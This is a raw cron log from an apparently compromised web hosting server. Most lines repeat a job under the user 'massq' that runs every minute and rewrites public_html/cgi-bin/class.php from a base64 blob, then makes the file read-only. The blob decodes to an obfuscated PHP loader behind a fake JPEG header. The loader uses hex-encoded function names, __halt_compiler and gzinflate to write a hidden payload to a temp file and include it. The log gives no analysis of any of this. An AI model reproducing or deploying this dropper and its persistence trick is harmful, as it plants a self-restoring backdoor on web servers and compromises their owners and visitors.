Nov 11 18:45:01 server CROND[30995]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:45:01 server CROND[30996]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 18:45:01 server CROND[30997]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:46:01 server CROND[32048]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:47:01 server CROND[501]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:48:01 server CROND[1323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:49:01 server CROND[2153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:50:01 server CROND[2744]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 18:50:01 server CROND[2745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:50:01 server CROND[2747]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 18:50:01 server CROND[2746]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 18:50:01 server CROND[2749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:51:01 server CROND[3624]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:52:01 server CROND[4542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:53:01 server CROND[5360]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:54:01 server CROND[6191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:55:01 server CROND[7007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:55:01 server CROND[7008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:55:01 server CROND[7009]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 18:56:01 server CROND[7633]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:57:01 server CROND[8446]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 18:57:01 server CROND[8447]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
